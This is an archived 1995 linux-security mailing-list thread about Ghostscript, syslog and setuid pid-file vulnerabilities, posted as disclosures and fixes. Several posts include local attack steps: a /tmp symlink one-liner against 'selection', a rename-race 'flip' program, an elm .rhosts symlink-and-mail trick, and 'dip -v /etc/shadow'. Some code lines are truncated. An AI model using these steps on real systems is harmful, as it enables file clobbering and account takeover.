=7ZFL -----END PGP SIGNATURE----- -- Lutz Pre"sler Systemverwaltung -- Abt. Medizinische Statistik, Universit"at G"ottingen Humboldtallee 32, D-37073 G"ottingen, Tel.: +49(0551) 39-9774 FAX: -4995 [PGP-key:WWW&Keyserver] IRC:lp linux-security/1995/linux-security.950824100664 1767 1767 7604 6017043246 17246 0ustar majdommajdomFrom [email protected] Thu Aug 24 05:30:03 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id FAA07836; Thu, 24 Aug 1995 05:13:28 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA07714; Thu, 24 Aug 1995 04:30:30 -0400 Date: Thu, 24 Aug 1995 04:30:30 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Cc: [email protected] Subject: Re: Ghostscript problem In-Reply-To: Your message of Wed, August 23, 1995 20:55:56 +0200 References: <[email protected]> X-Zippy: Kids, don't gross me off.. ``Adventures with MENTAL HYGIENE'' can be carried too FAR! X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "OK" == Olaf Kirch writes: OK> Thomas Koenig wrote: >> What other programs are there which invoke gs transparently? OK> I just grepped my xv-3.00 binary, and found that it invokes /usr/bin/gs OK> somewhere. A grep for SAFER turned up -- nothing. I've just browsed the xv-3.10 code (not v3.00, which I don't happen to have sitting in my archive any more), and here's my findings: The default configuration does *not* support Postscript file-viewing. >From config.h: /* #define GS_PATH "/usr/local/bin/gs" */ /* #define GS_LIB "." */ /* #define GS_DEV "ppmraw" */ They're commented-out by default, at least in the source copy that I have, MD5 checksum: "26c2306e3c401f109c8e4df272a0215e xv-3.10.tar.gz", which is the version that ships with Slackware 2.3.0. The Slackware diff does not enable this either, and the 3.10 binary shipping with Slackware appears safe (i.e. Postscript viewing disabled); grepping the binary did not turn up the GS_PATH string anywhere. >From v3.10's xvps.c: #ifdef GS_PATH [...VMS and other code...] sprintf(tmp, "%s \"-sDEVICE=%s\" -r%d -q \"-dNOPAUSE\" \"-sOutputFile=%s%%d\" ", GS_PATH, gsDev, gsRes, tmpname); [...more code, strcat() calls and the like, none doing -dSAFER...] gsresult = !system(tmp); Simply adding "-dSAFER" after the path in the GS_PATH definition (if you're using it, which I'm not) should suffice, for all put the %pipe% hole of course. OK> Does anyone volunteer to draw up a list of programs that use gs? Here's OK> a start, off the top of my head: Gert D�ring's mgetty+sendfax package uses it to convert postscript to FAX formats. I just checked his 'faxspool' script, which auto-detects file types and does the appropriate format-conversions (among other things). For Postscript files, 'faxspool' calls 'gs' with "-dSAFER". No problems there; it appears safe all the way back to at least his version 0.22 release (and probably earlier--I didn't look past 0.22). OK> * xv (3.0 seems to be vulnerable). Version 3.01 also does not support Postscript by default; you must un-comment the support definitions in the Imakefile in this version. As with v3.10, it appears that simply adding "-dSAFER" when you define the path to Ghostscript should do the trick. Looks like I need to scrounge up a copy of the v3.00 source and take a peek... --Up. P.S. Note to 'mgetty' list recipients: Security problems exist in Ghostscript. Gert avoids the well-known one(s) by using "-dSAFER" when he calls 'gs'. Unfortunately, there is now at least one nasty known hole that -dSAFER does not prevent exploitation of and that can be fixed by patching the gs_init.ps file in your Ghostscript library area. I'll post details separately to the 'mgetty' list, as the Linux security lists have already addressed this. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.950828100664 1767 1767 21750 6020447334 17270 0ustar majdommajdomFrom [email protected] Mon Aug 28 05:40:42 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id FAA30349; Mon, 28 Aug 1995 05:10:46 -0400 Received: from Shug-Internet.Saar.DE ([email protected] [192.109.53.4]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id XAA23457; Fri, 25 Aug 1995 23:30:27 -0400 Received: from TMPuhf.Saar.DE (tmpuhf.saar.de [192.109.53.3]) by Shug-Internet.Saar.DE (8.6.8.1/8.5) with SMTP id FAA29475; Sat, 26 Aug 1995 05:30:19 +0200 Received: from wg.saar.de by TMPuhf.Saar.DE with uucp (Smail3.1.28.1 #1) id m0smBwi-00020yC; Sat, 26 Aug 95 05:30 WET DST Received: by bellona.wg.saar.de id m0smBfR-00024QC; Sat, 26 Aug 95 05:12 MET DST Received: by pandemonium.saar.de (Linux Smail3.1.28.1 #1) id m0smBb1-00018YC; Sat, 26 Aug 95 05:07 MET DST Message-Id: From: [email protected] (Thomas Weber) Subject: problem with selection To: [email protected] Date: Sat, 26 Aug 1995 05:07:46 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1362 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi there, after installing selection (1.7) on a new system i noticed a problem with the way selection handels it's selection.pid file. Because the default is to install it suid-root and the default pid file rests in /tmp any user can create or destroy any file on the disk (like selection -k; cd /tmp; ln -s /etc/nologin selection.pid; selection). This patch seems to fix the problem: - --- selection-1.7-original/selection.c Tue Aug 2 07:51:45 1994 +++ selection-1.7/selection.c Sat Aug 26 02:26:12 1995 @@ -125,6 +125,12 @@ if (fork()) exit(0); setsid(); + + if (unlink (PIDFILE) && (ENOENT != errno)) { + fprintf(stderr, "%s: Could not unlink PID file `%s', terminating.\n", + progname, PIDFILE); + exit(1); + } if ((fp = fopen(PIDFILE, "w")) != (FILE *)NULL) { fprintf(fp, "%d\n", getpid()); tschau, Tom - -- i feel like a falling leaf / departed from my source of life dipping into the ground / to become one with the earth todessehnsucht - wo bleibt die gerechtigkeit? -atrocity- -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMD6P+/PB96Cs1ZNdAQE4HwQAhDoO2E2hv096brzfuulxieW5yT0vuO/y Rnw94BqBgvyES74NJCBvzBQZOsFqFFt+3plGdUAqaSpWjBxwh9XX2prB3j7i7/j1 N/VGWVfqCVTN6SI6j6Kx7unHuww9dvm5jDw1tR+edzZs7aWzZxpLr1en0Phr2mZn wXT55gyp3wE= =TuxG -----END PGP SIGNATURE----- From [email protected] Mon Aug 28 17:42:45 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA00652; Mon, 28 Aug 1995 17:38:03 -0400 Received: from charon.cwi.nl (charon.cwi.nl [192.16.184.142]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id GAA30591; Mon, 28 Aug 1995 06:45:28 -0400 Received: from papegaai.cwi.nl by charon.cwi.nl with SMTP id ; Mon, 28 Aug 1995 12:45:08 +0200 Received: by papegaai.cwi.nl id ; Mon, 28 Aug 1995 10:45:06 GMT Date: Mon, 28 Aug 1995 10:45:06 GMT From: [email protected] Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: problem with selection Sender: [email protected] Precedence: list : After installing selection (1.7) on a new system i noticed a problem with the : way selection handels it's selection.pid file. : Because the default is to install it suid-root and the default pid file : rests in /tmp any user can create or destroy any file on the disk : (like selection -k; cd /tmp; ln -s /etc/nologin selection.pid; selection). Yes. But nobody who is security conscious should install it suid root. It does not need any privileges, except possibly for killing earlier invocations, left by another user. Thus, any uid will do. From [email protected] Mon Aug 28 17:42:46 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA00680; Mon, 28 Aug 1995 17:38:19 -0400 Received: from dutecai.et.tudelft.nl (dutecai.et.tudelft.nl [130.161.38.38]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id HAA30645; Mon, 28 Aug 1995 07:00:26 -0400 Received: by dutecai.et.tudelft.nl (8.6.10/1.34JP) id NAA19452; Mon, 28 Aug 1995 13:00:24 +0200 Message-Id: <[email protected]> Subject: Re: problem with selection To: [email protected] Date: Mon, 28 Aug 1995 13:00:23 +0200 (MET DST) In-Reply-To: from "Thomas Weber" at Aug 26, 95 05:07:46 am From: [email protected] X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2445 Sender: [email protected] Precedence: list > This patch seems to fix the problem: > > - --- selection-1.7-original/selection.c Tue Aug 2 07:51:45 1994 > +++ selection-1.7/selection.c Sat Aug 26 02:26:12 1995 > @@ -125,6 +125,12 @@ > if (fork()) > exit(0); > setsid(); > + > + if (unlink (PIDFILE) && (ENOENT != errno)) { > + fprintf(stderr, "%s: Could not unlink PID file `%s', terminating.\n", > + progname, PIDFILE); > + exit(1); > + } > > if ((fp = fopen(PIDFILE, "w")) != (FILE *)NULL) { > fprintf(fp, "%d\n", getpid()); > I'm starting to get wildly annoyed at people who think they can do security checks in setuid programs. It is NOT possible to first perform a security check and then open the file just like before. I repeat: "IT IS NOT POSSIBLE". ---------------------------------------------------------------------- || I say again: "IT IS NOT POSSIBLE!!!!". || ---------------------------------------------------------------------- (please forgive my shouting.... :-) If your patch is installed, I simply do: cd /tmp;ln -s /etc/nologin .;flip nologin PIDFILE & ^^^^^^^ whatever that is.... before running the previously published exploitation method. It now only has a 50% chance of succeeding. Bummer. (because of the unlink in the preceding program, you might have to modify the attack to create/delete the symlinks as fast as you can instead of moving them around.) "flip" is the following program: /* "flip.c" (C) [email protected] */ /* Written on Mon Aug 28 +/- 10:00 MDT 1995, gcc -Wall gave no warnings/errors first compile run :-) (worked too :-) */ #include #include int main (int argc,char **argv) { while (1) { rename (argv[1],argv[2]); rename (argv[2],argv[1]); } exit (0); } Roger. -- * legal notice: Microsoft Network is prohibited from redistributing this * * work in any form, in whole or in part without a license. License to * * distribute this work is available to Microsoft at $499. Transmission * * without permission constitutes an agreement to these terms. * *------------------------------------ Modified from Felix von Leitner ---* ** EMail: [email protected] ** Tel +31-15-783643 or +31-15-137459 ** *** my own homepage *** From [email protected] Mon Aug 28 19:18:46 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA01607; Mon, 28 Aug 1995 19:17:18 -0400 Received: from Shug-Internet.Saar.DE ([email protected] [192.109.53.4]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA32471; Mon, 28 Aug 1995 13:10:10 -0400 Received: from TMPuhf.Saar.DE (tmpuhf.saar.de [192.109.53.3]) by Shug-Internet.Saar.DE (8.6.8.1/8.5) with SMTP id TAA23509; Mon, 28 Aug 1995 19:10:06 +0200 Received: from wg.saar.de by TMPuhf.Saar.DE with uucp (Smail3.1.28.1 #1) id m0sn7hE-00020yC; Mon, 28 Aug 95 19:10 WET DST Received: by bellona.wg.saar.de id m0sn7bu-000247C; Mon, 28 Aug 95 19:04 MET DST Received: by pandemonium.saar.de (Linux Smail3.1.28.1 #1) id m0sn63j-00011zC; Mon, 28 Aug 95 17:25 MET DST Message-Id: From: [email protected] (Thomas Weber) Subject: Re: problem with selection To: [email protected] Date: Mon, 28 Aug 1995 17:25:11 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from "[email protected]" at Aug 28, 95 10:45:06 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 491 Sender: [email protected] Precedence: list > Yes. But nobody who is security conscious should install it suid root. > It does not need any privileges, except possibly for killing earlier > invocations, left by another user. Thus, any uid will do. No. It needs to be suid root because of some ioctl's. Or noone else than root can start it. Tom -- i feel like a falling leaf / departed from my source of life dipping into the ground / to become one with the earth todessehnsucht - wo bleibt die gerechtigkeit? -atrocity- linux-security/1995/linux-security.950830100664 1767 1767 14525 6021121356 17255 0ustar majdommajdomFrom [email protected] Wed Aug 30 10:42:07 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id KAA07614; Wed, 30 Aug 1995 10:15:19 -0400 Received: from iiit.swan.ac.uk ([email protected] [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id EAA06850; Wed, 30 Aug 1995 04:12:45 -0400 Received: from thunder.swansea.linux.org.uk by iiit.swan.ac.uk with cbsmtp (Linux Smail3.1.28.1 #8) id m0snif7-00014KC; Wed, 30 Aug 95 09:38 BST Received: by thunder.swansea.linux.org.uk (Linux SneakerNet Mailspool 1.1) id m0snYtK-000J4DC; Tue, 29 Aug 95 23:12 BST Message-Id: Date: Tue, 29 Aug 95 23:12 BST From: [email protected] (A.Cox) To: [email protected], [email protected], [email protected], [email protected], [email protected] Subject: Final analysis of syslog threat under Linux Cc: [email protected], [email protected] Sender: [email protected] Precedence: list Summary: Almost all old a.out, and probably no ELF systems vulnerable. Detail: Linux libc 4.6.27 and earlier (4.6.27 is the most distributed version) contain a BSD style syslog with no checks. It reports (c) 1993 Regents of UCB blah blah, Author Eric Allman. These are directly vulnerable to all attacks. To see which libc your system is using look in /lib for the version number on libc.so.x.y.z. For those who have not seen the cert advisory we are talking a network exploitable bug where it is possible to get root shell access to a remote system given a lot of programming skill and knowledge. Linux libc 4.7.2 and higher (as of May 1995) use snprintf correctly to protect against attack. The snprintf code is badly written and hard to follow but assorted test attacks indicate it appears to be reliable. The syslog code however has a stupid oversight in it which renders attacks where the format string is over 1K long viable, even though attacks via format arguments are not. Since no program analysed feeds user data in as the format string this is adequate for users. All sites running NIS will be (I hope) running libc4.7.x already as libc4.6.27 has other serious NIS security bugs. Complete Fix: Apply the following fix to libc4.7.2 and above --misc/syslog.c --- syslog.c~ Tue Aug 29 22:14:25 1995 +++ syslog.c Tue Aug 29 22:14:25 1995 @@ -194,7 +194,7 @@ register char ch, *t1; char *strerror(); - for (t1 = fmt_cpy; (ch = *fmt) != '\0'; ++fmt) + for (t1 = fmt_cpy; (ch = *fmt) != '\0' && t1 #include static char x[6]= {'H','E','L','L','O',0}; void main() { char buf[4096]; int ct; for(ct=0;ct<4095;ct++) buf[ct]='X'; openlog("testprog",LOG_PID, LOG_AUTHPRIV); printf("Check snprintf\n"); snprintf(x,3,buf); if(x[4]!='O') fprintf(stderr,"snprintf is broken\n"); printf("Testing syslog\n"); syslog(LOG_ERR|LOG_USER,buf); closelog(); } Alan From [email protected] Wed Aug 30 13:41:44 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA09715; Wed, 30 Aug 1995 13:36:03 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA09660; Wed, 30 Aug 1995 13:34:54 -0400 Date: Wed, 30 Aug 1995 13:34:54 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] (A.Cox) Cc: [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected] Subject: Re: Final analysis of syslog threat under Linux In-Reply-To: Your message of Tue, August 29, 1995 23:12 BST References: X-Spook: drug legalization nuclear Timothy Leary X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list "AC" == A Cox writes: AC> This problem affects most Linux (and probably most unix systems) AC> and should be acted on immediately. Simply switching to libc4.7.2 AC> will adequately protect almost all users. Note that libc4.7.2 has AC> some bugs but libc4.7.4 appears more correct. Even though the built AC> libc4.7.4 is in hjl's private area it should be made available by AC> all ftp sites ASAP. I have made a copy of libc-4.7.4 publicly available, for now, in: ftp://linux.nrao.edu/pub/linux/security/libc-4.7.4/ This version is, as Alan states, not currently a public release; it's only available in H.J. Lu's "hidden" GCC development area on tsx-11.mit.edu (and its mirrors, of which linux.nrao.edu is one). H.J. has given his OK for this "pseudo-release." --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ linux-security/1995/linux-security.950901100664 1767 1767 46756 6021675246 17303 0ustar majdommajdomFrom [email protected] Fri Sep 1 08:11:55 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id IAA31009; Fri, 1 Sep 1995 08:03:17 -0400 Received: from miranda.uwaterloo.ca ([email protected] [129.97.130.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id XAA05808; Tue, 29 Aug 1995 23:04:21 -0400 Received: (from zblaxell@localhost) by miranda.uwaterloo.ca (8.6.10/8.6.9) id XAA31756; Tue, 29 Aug 1995 23:03:29 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: problem with selection To: [email protected] Date: Tue, 29 Aug 1995 23:03:28 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "[email protected]" at Aug 28, 95 10:45:06 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2194 Sender: [email protected] Precedence: list Quoted from [email protected]: > Yes. But nobody who is security conscious should install it suid root. > It does not need any privileges, except possibly for killing earlier > invocations, left by another user. Thus, any uid will do. Inserting arbitrary data into someone's input buffer _doesn't_ require any privileges? I sincerely hope not. Console security really sucks on Linux. The vt ioctl calls don't check _anything_ so long as you have any console as a controlling TTY (remapping of SAK excepted, in trivial cases). This means that if you have a process on any controlling virtual console TTY, you can interfere with other virtual console TTYs. I prefer to have selection run _as_ root _by_ root, in the rc* scripts after syslogd and before any network daemons. After all, it doesn't really need to be invoked and revoked by individual users, does it? An alternative to running as root would be to require that selection have the same uid as the owner of the TTY that selection would paste into. However, this means that two users can't log into different TTYs and paste from one to the other, unless there was a permission structure that could control this (like another set of devices similar to /dev/vcs*, which allow you to write data to a TTY device input buffer). (for the wish list: /dev/kbd*, which allow you to remap the keyboard for a particular virtual console only. And /dev/vcpc*, which accept the ioctl calls for process control signals (the ones SVGAlib and X use). And /dev/kbdmode, which accepts the ioctl call for changing keyboard mode to raw/mediumraw/cooked (necessary because of the way SAK works in cooked mode and doesn't in other modes). And /dev/vcsig, which replaces the keysym that can send any signal to a process with a keysym that reports what keysym, which console, etc, and also reports when another process steals the signal.) -- Zygo Blaxell, former sysadmin and current software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda. uwaterloo.ca and ezmail.com. 10th place team, ACM Intl Finals Programming Contest 1994. Will administer Unix (esp. Linux, maybe Solaris) for food. From [email protected] Fri Sep 1 08:11:55 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id HAA30920; Fri, 1 Sep 1995 07:37:56 -0400 Received: from elwha.evergreen.edu (elwha.evergreen.edu [192.211.16.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id CAA03645; Tue, 29 Aug 1995 02:38:52 -0400 Received: by elwha.evergreen.edu; (5.65/1.1.8.2/16Jan95-8.2MPM) id AA05188; Mon, 28 Aug 1995 23:43:21 -0700 Date: Mon, 28 Aug 1995 23:43:21 -0700 (PDT) From: Matt Sommer Subject: XDM-AUTHORIZATION-1 To: [email protected] Cc: [email protected] Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list hey folks, i have already posted this to linux-x11 and got absolutely no response so please pardon me if you have already read this. although, at first glance this appears only to be an X related post if you think about it ( and considering the relative weakness of MIT-MAGIC-COOKIE-1 ) i think youll agree that it is fairly relevant to both security and administration under linux... has anyone ever tried to recompile the Xserver under Xfree86 to support XDM-AUTHORIZATION-1 ??? i have already recompiled libXdmcp with Wraphelp.c ( and also xdm ) but i have had a bit of difficulty finding a "server-only" package ( itll need to be 3.1 unless 3.1.1 is completely backwards compatible ) other than the one on ftp.cdrom.com where the makefiles are actually correct ( using xmkmf doesnt work either on the Imakes for obvious reasons )... any ideas ( besides recompiling the entire xc package... i am aware that this is a solution ;P ) and all words of wisdom would be appreciated... cu, m. --------------8<----------------8<---------------8<------------------ my caps key seems to be broken, sorry... From [email protected] Fri Sep 1 08:11:57 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id IAA31001; Fri, 1 Sep 1995 08:02:49 -0400 Received: from Shug-Internet.Saar.DE ([email protected] [192.109.53.4]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id OAA17167; Wed, 30 Aug 1995 14:20:48 -0400 Received: from TMPuhf.Saar.DE (tmpuhf.saar.de [192.109.53.3]) by Shug-Internet.Saar.DE (8.6.8.1/8.5) with SMTP id UAA02345; Wed, 30 Aug 1995 20:20:18 +0200 Received: from wg.saar.de by TMPuhf.Saar.DE with uucp (Smail3.1.28.1 #1) id m0snrkG-000212C; Wed, 30 Aug 95 20:20 WET DST Received: by bellona.wg.saar.de id m0snqE0-00024BC; Wed, 30 Aug 95 18:42 MET DST Received: by pandemonium.saar.de (Linux Smail3.1.28.1 #1) id m0snpwv-00018bC; Wed, 30 Aug 95 18:25 MET DST Message-Id: From: [email protected] (Thomas Weber) Subject: Re: problem with selection To: [email protected] (Zygo Blaxell) Date: Wed, 30 Aug 1995 18:25:12 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Zygo Blaxell" at Aug 29, 95 11:03:28 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1103 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- > I prefer to have selection run _as_ root _by_ root, in the rc* scripts > after syslogd and before any network daemons. After all, it doesn't > really need to be invoked and revoked by individual users, does it? At least three situations: - -changing the Textmode resolution (resize or SVGATextMode) requires restarting selection sometimes - -for quite some Mouse/Videocard combinations selection and X won't work together -> selection -k; X; selection; - -dosemu on the console and selection don't work pretty well together. [Some good ideas deleted] Tom - -- i feel like a falling leaf / departed from my source of life dipping into the ground / to become one with the earth todessehnsucht - wo bleibt die gerechtigkeit? -atrocity- ## CrossPoint v3.04 R ## -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMESQ3fPB96Cs1ZNdAQFGZgP+Jo92uDVP7UyWxQGRiidEHwXTwqYuKhON UX6vq+QPlp3b3nJIBSihE67xd0yiKPPAp9aBKw7reibaBUE90Vf6w+kmTVwgAt13 oAn4iG9YzYE7Jq8+mqSxJlhWc3YQLP2XOinlf/hxlpJyhiApzfO5uKKj4uILcHMO bIlAPXEoVV0= =txAw -----END PGP SIGNATURE----- From [email protected] Fri Sep 1 08:12:01 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id HAA30945; Fri, 1 Sep 1995 07:50:38 -0400 Received: from Shug-Internet.Saar.DE ([email protected] [192.109.53.4]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id QAA08011; Tue, 29 Aug 1995 16:50:20 -0400 Received: from TMPuhf.Saar.DE (tmpuhf.saar.de [192.109.53.3]) by Shug-Internet.Saar.DE (8.6.8.1/8.5) with SMTP id WAA06690; Tue, 29 Aug 1995 22:50:14 +0200 Received: from wg.saar.de by TMPuhf.Saar.DE with uucp (Smail3.1.28.1 #1) id m0snXbn-000212C; Tue, 29 Aug 95 22:50 WET DST Received: by bellona.wg.saar.de id m0snWpJ-00024BC; Tue, 29 Aug 95 22:00 MET DST Received: by pandemonium.saar.de (Linux Smail3.1.28.1 #1) id m0snSHD-00014JC; Tue, 29 Aug 95 17:08 MET DST Message-Id: From: [email protected] (Thomas Weber) Subject: Re: problem with selection To: [email protected] Date: Tue, 29 Aug 1995 17:08:34 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from "[email protected]" at Aug 28, 95 01:00:23 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1775 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- > > This patch seems to fix the problem: ~~~~~ > I'm starting to get wildly annoyed at people who think they can > do security checks in setuid programs. I was pretty sure that I would get some reactions like this. I was pretty sure that my 'fix' wasn't the real solution. That's why I wrote "seems". I'm not a programmer in the first place. I administrate some Unix machines and I know of some of the security problems. I've never seen this problem reported so I did it (and _tried_ to give a solution). Now all that's coming back are remarks like how stupid it is to use selection, to use it suid root and how bad this patch is. > before running the previously published exploitation method. It now only > has a 50% chance of succeeding. Bummer. So well. As long as I don't have the time to find a better solution I'll stay with this 50% solution. BTW, my selection.pid file rests in /var/run, so it's not such a big problem for me anyway. > (because of the unlink in the preceding program, you might have to modify > the attack to create/delete the symlinks as fast as you can instead of > moving them around.) I expected this, and I hoped that someone would post a better solution, that's why I mailed. But nothing so far :-( Tom - -- i feel like a falling leaf / departed from my source of life dipping into the ground / to become one with the earth todessehnsucht - wo bleibt die gerechtigkeit? -atrocity- -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMEMta/PB96Cs1ZNdAQHmpgP/eyBl8OINbSsPCcwM3tiVHFheS8I2QaZe u/iT0u8ryuOWDwCIWTTuv2elyMeNd/WnEGwHRyAgUbtLHkkzYmK21cmZD5nvMvWh rGwL7xdRXOuP7bHPhJ6Vqy5sn/jf2orWRC4diCbq8HZGENM+xWDvxWkDbAtzWT0A 0C5pYp2+d9U= =Q/x5 -----END PGP SIGNATURE----- From [email protected] Fri Sep 1 11:46:03 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA32284; Fri, 1 Sep 1995 11:37:54 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id IAA31014; Fri, 1 Sep 1995 08:03:20 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0soUnZ-0005B1C; Fri, 1 Sep 95 14:02 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0soVOP-00005FC; Fri, 1 Sep 95 14:40 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: selection summary To: [email protected] Date: Fri, 1 Sep 1995 14:40:20 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2748 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, there have been quite a number of follow-ups to Tom Weber's report on the selection problem. I'm summarizing them below rather than approving each message separately. Many people have pointed out that simply unlinking the file and then opening it still leaves a race condition. I still haven't seen a secure way of opening a temp file; maybe creating a `randomly' named file and then calling rename() to move it to selection.pid is closest to what can be done. For programs running under the root account, having a separate directory for pid files and other temporary data is probably the best. The FSSTND has a /var/run directory, which would be ideal for things like these. However, the problem with selection can be solved more easily. There have been a number of messages about whether it has to run setuid root or not. The upshot of it all is that it must run as root because of several ioctl calls it performs, but it suffices to put it into your rc.local script. On the other hand, Tom Weber points out that there are situations where selection won't get along very well with other applications (see separate message). Having selection put its pid file in /var/run seems to be safe in this case. However, it would still be nice if someone wrote a drop-in routine that opens temp files safely, because there Finally, watch out for similar programs: dip Usually using /etc/dip.pid, so it's safe. Still, there used to be versions that put it in /tmp, if I recall correctly. (But having dip setuid root is a bad thing anyway. Try dip -v /etc/shadow for an amusing show) named /etc/named.pid or /var/run/named.pid. Older versions also put their pid file in /usr/tmp, using fopen(...) to open it. However, debug information (named.run and named_dump.db) is written to /tmp or /var/tmp. elm uses mbox.. If user joe doesn't have a .rhosts file, do this: ln -s ~joe/.rhosts /tmp/mbox.joe echo "localhost yourname" | rmail joe and wait for joe to read his mail. This works at least with elm 2.4. ... and probably a few more. Thanks to all those who responded: Wolfgang Ley Kyriakos Georgiou Matt (Panzer Boy) Jon Lewis Tom Weber Cheers Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMEb/KuFnVHXv40etAQGO/AQAz+j+z3XjjfJgBMCjQVZ42UV07UiDdl1S 4D7mu6QDHu9ItRYpxM7mIeE4bvFTPvYVzmL5DfMucyhUEJy10YuCUJZGgTvlCHsz 8poSbTYSRMwp/N3Gysd4te9lWX3+JwPd6ahautKVkCsRISA9/v0kgCSBWPe8GwoP qyPB3BWRp+U= =tGn6 -----END PGP SIGNATURE----- From [email protected] Fri Sep 1 14:37:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA00863; Fri, 1 Sep 1995 14:30:54 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de ([email protected] [129.13.110.66]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id MAA32736; Fri, 1 Sep 1995 12:47:14 -0400 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.12/8.6.12) id SAA12262 for [email protected]; Fri, 1 Sep 1995 18:48:05 +0200 Message-Id: <[email protected]> Subject: Re: selection summary To: [email protected] (linux-security) Date: Fri, 1 Sep 1995 18:48:05 +0200 (MET DST) In-Reply-To: from "Olaf Kirch" at Sep 1, 95 02:40:20 pm From: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) X-Mailer: ELM [version 2.4 PL24 ME7a] MIME-Version: 1.0 Content-Type: application/pgp Content-Transfer-Encoding: 7bit Content-Length: 1396 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Olaf Kirch wrote: >I still haven't seen a secure way of opening a temp file; The easiest way is to put it into a directory where users don't have write permission. If you're absolutely stuck with putting a file into a world-writable directory as root... well, I belive the following to be a resonable first approximation; please try to poke holes in this. I am assuming a 1777 directory, i.e. with sticky bit set. If you don't have that, you're toast in any case :-) - - unlink the filename - - set euid to nobody - - open file with O_CREAT | O_EXCL ; abort if this does not work - - fstat the file descriptor - - if links > 1, goto step one - - lstat the file - - if it's a symbolic link, goto step one - - if the device/inode pair of the fstat/lstat don't match -> step one - - set euid to root - - fchown the file descriptor - - stat the filename - - if the device/inode pair don't match -> step one - -- 